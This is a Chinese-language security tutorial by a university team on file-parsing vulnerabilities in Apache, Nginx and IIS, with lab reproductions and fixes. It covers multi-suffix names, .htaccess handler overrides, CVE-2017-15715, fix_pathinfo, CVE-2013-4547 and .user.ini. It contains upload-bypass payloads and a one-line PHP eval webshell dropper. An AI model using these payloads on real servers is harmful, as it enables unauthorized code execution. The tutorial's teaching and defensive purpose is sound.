浅谈解析漏洞的利用与防范

  • A+
所属分类:安全文章


沙漏安全团队

欢迎真正热爱技术的你!

本文首发于安全客,如果方便的话请阅读原文: https://www.anquanke.com/post/id/219107

0x00 前言

继续学习常见漏洞,经常听说过解析漏洞,这次来一探究竟。

0x01 解析漏洞简介

1、文件解析漏洞概述 文件解析漏洞,是指Web容器(Apache、Nginx、IIS等)在解析文件时将文件解析成脚本文件格式并得以执行而产生的漏洞。从而,黑客可以利用该漏洞实现非法文件的解析。 2、web容器是什么 web容器是一种服务程序,在服务器一个端口就有一个提供相应服务的程序,而这个程序就是处理从客户端发出的请求,如tomcat、apache、nginx等。(可以理解为编程语言提供环境)

中间件:提供系统软件和应用软件之间连接的软件,以便于软件各部件之间的沟通。中间件处在操作系统和更高一级应用程序之间。 容器:给处于其中的应用程序组件(ASP,JSP,PHP)提供一个环境。使处于其中的应用程序组件之间跟容器中的环境变量接口交互,不必关注其他系统问题。

攻击者在利用上传漏洞时,通常会与Web容器的解析漏洞配合在一起

0x02 Apache

测试环境 docker容器:kstaken/apache2 在docker里安装php:apt-get update && apt-get install php5 靶场:DoraBox靶场 修改站点根目录:vim /etc/apache2/sites-enabled/000-default

1、多后缀

漏洞描述:在Apache 2.0.x <= 2.0.59,Apache 2.2.x <= 2.2.17,Apache 2.2.2 <= 2.2.8中Apache 解析文件的规则是从右到左开始判断解析,如果后缀名为不可识别文件解析,就再往左判断。所以可上传一个test.php.qwzf文件绕过验证且服务器依然会将其解析为php。Apache 能够识别的文件在mime.types文件里。 影响版本:Apache 2.0.x <= 2.0.59 Apache 2.2.x <= 2.2.17 Apache 2.2.2 <= 2.2.8 开始测试:1.查看Apache版本:

apachectl -v#或httpd -v(测试未显示Apache版本)

平时可以使用浏览器捕获的响应包或使用burp抓包查看apache版本。

2.在DoraBox的任意文件靶场进行测试 上传的文件名:test.php.qwzf 上传的文件内容

<?php phpinfo(); ?>

上传成功,访问看一下

成功解析成php文件。 修复方法:后缀验证尽量使用白名单的方式,这样即使使用不存在的后缀名,也无法绕过。

2、Apache配置问题

1.如果在Apache的 /etc/apache2/apache2.conf里有这样的配置

<FilesMatch "qwzf.jpg">  SetHandler application/x-httpd-php</FilesMatch>

这时只要文件名是qwzf.jpg,会以php 来执行。2.如果在Apache的 conf 里有这样一行配置AddHandler php5-script .php 这时只要文件名里包含.php 即使文件名是qwzf.php.jpg也会以php 来执行。3.如果在 Apache 的 conf 里有这样一行配置AddType application/x-httpd-php .jpg 即使扩展名是.jpg,也会以php来执行。

Apache提供了一种很方便的、可作用于当前目录及其子目录的配置文件——.htaccess(分布式配置文件) 将Apache的/etc/apache2/sites-available/defaultAllowOverride None改为AllowOverride All

AllowOverride All

开启rewrite_mod

a2enmod rewrite

这样.htaccess文件就会生效。 开始测试:1.上传一个.htaccess文件,文件内容如下:

方法1<FilesMatch "qwzf.jpg">  SetHandler application/x-httpd-php</FilesMatch>方法2AddHandler php5-script .php方法3AddType application/x-httpd-php .jpg

2.然后上传文件名为 方法1和方法3:qwzf.jpg 方法2和方法3:qwzf.php.jpg 文件内容为:<?php phpinfo(); ?>

修复方法:1.apache配置文件,禁止.php.这样的文件执行,配置文件里面加入

<Files ~ “.(php.|php3.)”>        Order Allow,Deny        Deny from all</Files>

2.关闭重写

a2dismod rewrite

3、罕见后缀

Apache配置文件中会有.+.ph(p[345]?|t|tml)此类的正则表达式,被当php程序执行的文件名要符合正则表达式。也就是说php3,php4,php5,pht,phtml等文件后缀也是可以被当作php文件进行解析的。上传一个查看phpinfo信息的qwzf.php3文件,访问

发现qwzf.php3文件被当作php文件进行解析。

4、后缀包含换行符x0A(CVE-2017-15715)

phith0n师傅在代码审计知识星球里提到了Apache的一个解析漏洞CVE-2017-15715 漏洞描述:上传一个后缀末尾包含换行符的文件,来绕过FilesMatch。绕过FilesMatch不一定能被PHP解析。这个漏洞可以用来绕过文件上传黑名单限制。即:

1.phpx0a => 1.php

apache通过mod_php来运行脚本,其2.4.0-2.4.29中存在apache换行解析漏洞,在解析php时xxx.phpx0A将被按照PHP后缀进行解析,导致绕过一些服务器的安全策略。该漏洞属于用户配置不当产生的漏洞,与具体中间件版本无关。

影响版本:Apache 2.4.0-2.4.29 测试环境:1.环境一:用docker拉取一个名为vulhub/php:5.5-apache的镜像(Apache版本2.4.0~2.4.29之间) 使用下面命令启动容器:

docker run -d --name=cve-2017-15715 -p 8005:80 -v /var/www/bachang/cve-2017-15715:/var/www/html vulhub/php:5.5-apache

进入容器并查看Apache版本

docker exec -it cve-2017-15715 /bin/bashapachectl -v

将下面测试代码目录映射到容器内的/var/www/html目录下,设置好写权限,即可开始测试。

2.环境二:当然,如果感觉自己搭环境比较麻烦,可以使用vulhub靶场的CVE-2017-15715环境。环境位置:vulhub/httpd/CVE-2017-15715 测试代码

<html><body>  <form action="" method="post" enctype="multipart/form-data">    file:<input type="file" name="file"><br />    filename:<input type="text" name="name" value="qwzf.php">    <input type="submit" value="submit">    </form></body></html><?phpif (isset($_FILES['file'])) {  $name = basename($_POST['name']);  $ext = pathinfo($name, PATHINFO_EXTENSION);  if (in_array($ext, ['php', 'php3', 'php4', 'php5', 'phtml', 'pht'])) {    exit('bad file');  }  move_uploaded_file($_FILES['file']['tmp_name'], './' . $name);}?>

开始测试:1.正常上传php文件,被拦截

2.上传test.php.qwzf,上传成功,但不解析,说明老的多后缀Apache解析漏洞不存在。

3.利用CVE-2017-15715,上传一个包含换行符的文件

注:只能是x0A,不能是x0Dx0A

上传qwzf.php文件,filename设置为qwzf.php 使用burp抓包,选择burp的Hex功能,在qwzf.php后面添加一个x0A

发包,上传成功。然后访问qwzf.php%0A,发现可以成功解析php文件

Nginx是一款高性能的WEB服务器,通常用来作为PHP的解析容器。

0x03 Nginx

1、Nginx PHP CGI 解析漏洞(fix_pathinfo)

漏洞描述:查看nginx的配置文件 vim /etc/nginx/conf.d/default.conf

(1)Nginx默认是以CGI的方式支持PHP解析的,普遍的做法是在Nginx配置文件中通过正则匹配设置SCRIPT_FILENAME。当访问http://x.x.x.x/phpinfo.jpg/1.php这个URL时,$fastcgi_script_name会被设置为phpinfo.jpg/1.php,然后构造成SCRIPT_FILENAME传递给PHP CGI。(2)但PHP为什么会接受这样的参数,并将phpinfo.jpg作为PHP文件解析呢? 这就涉及到fix_pathinfo选项了。如果PHP中开启了fix_pathinfo这个选项,PHP会认为SCRIPT_FILENAME是phpinfo.jpg,而1.php是PATH_INFO,所以就会将phpinfo.jpg作为PHP文件来解析了。

简单来说,由于Nginx的特性,只要URL中路径名以.php结尾,不管该文件是否存在,直接交给php处理。

注:新版本php引入了security.limit_extensions,限制了可执行文件的后缀,默认只允许执行.php文件 使得该漏洞难以被成功利用

相关知识:(1)通过phpinfo查看cgi.fix_pathinfo=1,PHP里经常要获取当前请求的URL路径信息。一般可以通过环境变量$_SERVER[‘PATH_INFO’]获取,而配置文件中的cgi.fix_pathinifo选项则与这个值的获取相关。

(2)在PHP的配置文件中有一个关键的选项cgi.fix_pathinfo默认是开启的,当URL中有不存在的文件,PHP就会向前递归解析。 影响版本:漏洞与Nginx、php版本无关,属于用户配置不当造成的解析漏洞 漏洞形式

/1.jpg/1.php /1.jpg/.php /1.jpg%00.php /1.jpg/%20.php

还有一种方法是:上传一个名字为qwzf.jpg,文件内容如下:

<?php fputs(fopen('shell.php','w'),'<?php @eval($_POST['qwzf']);?>'); ?>

然后访问qwzf.jpg/.php,在当前目录下就会生成一句话木马shell.php

测试环境:1.环境一:vulhub靶场的漏洞环境 环境位置:vulhub/nginx/nginx_parsing_vulnerability nginx版本:nginx/1.19.2 2.环境二:使用phpstudy测试,默认配置即可(默认的cgi.fix_pathinfo是注释状态,但默认值确为1) nginx版本:nginx/1.11.5 开始测试:使用环境一的vulhub靶场对应的环境 上传一个jpg文件,文件名为phpinfo.jpg,文件内容为(或者上传图片马):

GIF89a<?php phpinfo(); ?>

上传成功,访问一下

/uploadfiles/b5f7a062d84869fe4f3af35b79fca50c.jpg/1.php/uploadfiles/b5f7a062d84869fe4f3af35b79fca50c.jpg/.php/uploadfiles/b5f7a062d84869fe4f3af35b79fca50c.jpg/%20.php

发现除了%00截断外,均以php的形式解析,显示phpinfo信息

%00截断不能成功,原因应该是PHP的版本问题。%00截断使用条件:php 版本<5.3.4 修复方法:1.修改php.ini文件,将cgi.fix_pathinfo的值设置为0(慎用); 若实在将cgi.fix_pathinfo的值设置为0,就将php-fpm.conf中的security.limit_extensions后面的值设置为.php 2.在Nginx配置文件中添加以下代码:

if ( $fastcgi_script_name ~ ..*/.*php ) {return 403;}

代码的意思:当匹配到类似test.jpg/a.php的URL时,将返回403错误代码。3.使用Apache服务器的,在相应目录下放一个 .htaccess 文件,内容为:

<FilesMatch "(?i:.php)$">    Deny from all</FilesMatch>

4.不提供上传的原文件访问,对文件输出经过程序处理。5.图片单独放一个服务器上,与业务代码数据进行隔离。

2、空字节代码执行漏洞

漏洞描述:Ngnix在遇到%00空字节时与后端FastCGI处理不一致,导致可以在图片中嵌入PHP代码然后通过访问xxx.jpg%00.php来执行其中的代码 影响版本: Nginx 0.5.x Nginx 0.6.x Nginx 0.7-0.7.65 Nginx 0.8-0.8.37 测试环境:nginx官网 由于环境比较旧,不太容易搭建,这里只阐述一下大致过程:1.上传一个qwzf.jpg图片文件 2.访问http://x.x.x.x/qwzf.jpg%00.php 3.就会将qwzf.jpg作为PHP文件进行解析 修复方法:1.升级nginx 2.禁止在上传文件目录下执行php文件 3.在nginx配置或者fcgi.conf配置添加下面内容:

if ($request_filename ~* (.*).php) {    set $php_url $1;}if (!-e $php_url.php) {    return 403;}

3、nginx文件名逻辑漏洞(CVE-2013-4547)

漏洞描述:1.漏洞产生原因:错误地解析了请求的URL,错误地获取到用户请求的文件名,导致出现权限绕过、代码执行的连带影响。2.漏洞原理:Nginx匹配到.php结尾的请求,就发送给fastcgi进行解析,常见写法:

location ~ .php$ {    include        fastcgi_params;    fastcgi_pass   127.0.0.1:9000;    fastcgi_index  index.php;    fastcgi_param  SCRIPT_FILENAME  /var/www/html$fastcgi_script_name;    fastcgi_param  DOCUMENT_ROOT /var/www/html;}

(1)在关闭fix_pathinfo的情况下(即cgi.fix_pathinfo=0),只有.php后缀的文件才会被发送给fastcgi解析 (2)存在CVE-2013-4547时,请求qwzf.jpg[0x20][0x00].php,这个URI可匹配到正则.php$,进入到Location块;(3)进入后,Nginx错误地认为请求的文件是qwzf.jpg[0x20],然后设置其为SCRIPT_FILENAME的值发送给fastcgi。(4)fastcgi根据SCRIPT_FILENAME的值,将qwzf.jpg[0x20]以php文件的形式进行解析,从而造成了解析漏洞。也就是说,我们只需要上传一个空格结尾的文件,即可用PHP进行解析。 影响版本: Nginx 0.8.41-1.4.3 Nginx 1.5 -1.5.7 测试环境:vulhub靶场的漏洞环境 环境位置:vulhub/nginx/CVE-2013-4547 nginx版本:nginx/1.4.2 开始测试:上传一个jpg文件,文件名为qwzf.jpg,文件内容为(或者上传图片马):

GIF89a<?php phpinfo(); ?>

使用burp添加空格

发包,成功上传文件

访问/uploadfiles/qwzf.jpg/.php,burp抓包,添加两个空格

使用burp的hex功能,将第二个空格的0x20改为0x00

发包,成功解析。

0x04 IIS

IIS(Internet Information Services)是微软出品的灵活、安全、易于管理的Web服务器。

1、IIS 5.x和IIS 6.x解析漏洞

使用iis5.x-6.x版本的服务器,大多为windows server 2003,网站比较古老,开发语言一般为asp;该解析漏洞也只能解析asp文件,而不能解析aspx文件。 测试环境:因为找不到相关环境,并且不想搭建,所以这里只阐述相关原理和相关知识。

1.目录解析(6.0)

形式http://www.xxx.com/xx.asp/xx.jpg 原理: 服务器默认会把.asp.asa目录下的文件都解析成asp文件。

2.文件解析(6.0)

形式http://www.xxx.com/xx.asp;.jpg 原理:服务器默认不解析;号后面的内容,因此xx.asp;.jpg便被解析成asp文件。

3.解析文件类型(默认解析后缀)

有的网站会设置黑名单上传限制 ,IIS6.0 默认的可执行文件除了asp还包含这三种 :

/xx.asa/xx.cer/xx.cdx

iis把asa,cdx,cer解析成asp文件的原因:这四种扩展名都是用的同一个asp.dll文件来执行。 修复方法:1.阻止创建.asp.asa类型的文件夹 2.阻止上传xx.asp;.jpg类型的文件名 3.阻止上传.asa.cer.cdx后缀的文件 4.设置权限,限制用户创建文件夹

2、IIS 7.0/7.5 CGI解析漏洞

漏洞描述:IIS7/7.5的漏洞与nginx的类似,都是由于php配置文件中,开启了cgi.fix_pathinfo,而这并不是nginx或者iis7/7.5本身的漏洞。 漏洞产生的条件:php.ini里的cgi.cgi_pathinfo=1 IIS7在Fast-CGI运行模式下 测试环境:windows server 2008 R2(x64) IIS7 phpStudy 2018版本 开始测试:首先在VMware安装windows server 2008 R2虚拟机(比较简单,百度搜教程即可),然后安装IIS7和phpStudy 2018。可参考:IIS7.0解析漏洞 写一个index.php文件测试环境是否能正常工作。

正常工作。接下来,正式开始测试 1.在站点根目录创建一个qwzf.jpg文件,文件内容为:

<?php phpinfo(); ?>

2.配置CGI 模式 (1)在php.ini文件里将cgi.fix_pathinfo 取消注释并把值改为1

(2)更改网站的处理程序映射 管理工具 –> IIS -> WIN-5RQ4P819403 -> 处理程序映射

3.访问http://192.168.201.149/qwzf.jpg/.php

发现qwzf.jpg成功解析。 常用利用方法:上传图片马

0x05 .user.ini

.user.ini 作用和配置 .htaccess是伪静态环境配置文件,用于lamp。 .user.ini是lnmp文件,里面放的是你网站的文件夹路径地址。目的是防止跨目录访问和文件跨目录读取.

为了防止跨站,可将 .user.ini放在网站根目录下,内容为: open_basedir=/项目路径/:/tmp/:/proc/ 如:open_basedir=/var/www/html/:/tmp/:/proc/ 测试代码

<?php //获取当前文件所在的绝对目录$dir = dirname(__FILE__);echo " <pre>";print_r($dir);//读取根目录文件夹vim$file = scandir('/');//显示echo " <pre>";print_r($file);?>

没加.user.ini的时候可以直接读到根目录的文件

加上.user.ini之后,就读不到根目录的文件了

.user.ini文件利用

利用条件:1.服务器脚本语言为PHP 2.服务器使用CGI/FastCGI模式 3.上传目录下要有可执行的php文件

参考:user.ini文件构成的PHP后门 大师傅博客里对.user.ini的解释具体可以怎样理解呢?我的对其总结如下:

1.php.ini作为php的默认的配置文件,包括很多php配置,可分为:PHP_INI_SYSTEMPHP_INI_PERDIRPHP_INI_ALLPHP_INI_USER

2.模式为PHP_INI_USER的配置项,可在ini_set()函数中设置、注册表中设置和.user.ini中设置

3.PHP会在每个目录下扫描 INI 文件,从被执行PHP 文件所在目录一直上升到 web 根目录($_SERVER['DOCUMENT_ROOT']所指定的)。若被执行PHP 文件在 web 根目录之外,则只扫描该目录。

4..user.ini简单来说,就是一个可以由用户“自定义”的php.ini,可以自定义的设置是模式为PHP_INI_PERDIR 、 PHP_INI_USER的设置(实际上,除PHP_INI_SYSTEM外的模式都可以通过.user.ini来设置)。

5..user.ini是一个能被动态加载的ini文件。也就是修改.user.ini后,不需要重启服务器中间件,只需要等待user_ini.cache_ttl所设置的时间(默认为300秒),即可被重新加载。

6.php配置项auto_prepend_file(auto_append_file),指定一个文件,自动包含在要执行的文件前(后),类似于在文件前(后)调用了require()函数。即借助.user.ini文件,可让所有php文件都“自动”包含某个文件 (当文件调用的有exit()时该设置无效)

可直接在.user.ini中设置要包含的文件(如webshell、图片马等):

auto_prepend_file=qwzf.jpg

qwzf.jpg即是可执行php文件要包含的文件。 开始测试:直接使用vulhub靶场vulhub/nginx/CVE-2013-4547环境,在uploadfiles目录下创建一个可执行的php文件index.php (1)上传.user.ini文件,内容如下:

GIF89aauto_prepend_file=qwzf.jpg

(2)上传图片马qwzf.jpg,内容如下:

GIF89a<?php phpinfo(); ?>

访问/uploadfiles/index.php,发现qwzf.jpg被成功包含到index.php之前进行解析

0x06 Windows操作系统文件命名规则

Windows操作系统中,文件名不能以空格或.开头,也不能以空格或.结尾。当把一个文件命名为以空格或.开头或结尾时,会自动地去掉开头和结尾处的空格和.。利用此特性,也可能造成文件解析漏洞

参考博客:文件解析漏洞总结 CTF考点总结-文件上传/文件包含 利用最新Apache解析漏洞(CVE-2017-15715)绕过上传黑名单 文件上传漏洞,解析漏洞总结 解析漏洞整理 典型漏洞归纳之解析漏洞 服务器解析漏洞总结 文件解析漏洞总结-Nginx Nginx错误配置引发的解析漏洞复现 nginx文件名逻辑漏洞_CVE-2013-4547漏洞复现 nginx+php使用open_basedir限制站点目录防止跨站

参考博客



[文件解析漏洞总结]
https://g5m.cn/aqmYnu
[CTF考点总结-文件上传/文件包含]
https://www.cnblogs.com/kagari/p/12638765.html
[利用最新Apache解析漏洞(CVE-2017-15715)绕过上传黑名单]
https://www.leavesongs.com/PENETRATION/apache-cve-2017-15715-vulnerability.html
[文件上传漏洞,解析漏洞总结]
https://www.cnblogs.com/imbrave99/p/13369549.html
[解析漏洞整理]
https://blog.csdn.net/u011781521/article/details/58630742
[典型漏洞归纳之解析漏洞]
https://www.cnblogs.com/shellr00t/p/6426856.html
[服务器解析漏洞总结]
https://www.cnblogs.com/zlgxzswjy/p/6561229.html
[文件解析漏洞总结-Nginx]
https://blog.csdn.net/wn314/article/details/77388289/
[Nginx错误配置引发的解析漏洞复现]
https://g5m.cn/QNRbQf
[nginx文件名逻辑漏洞_CVE-2013-4547漏洞复现]
https://www.cnblogs.com/yuzly/p/11221564.html
[nginx+php使用open_basedir限制站点目录防止跨站]
https://blog.csdn.net/u013372487/article/details/51909766?utm_source=blogxgwz1

·END·

- 平顶山学院 沙漏安全团队 -

微信号 : 网络安全攻防训练营

欢迎真正热爱技术的你!


奋发努力

拼搏向上

本期编辑:bosoun_ho

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: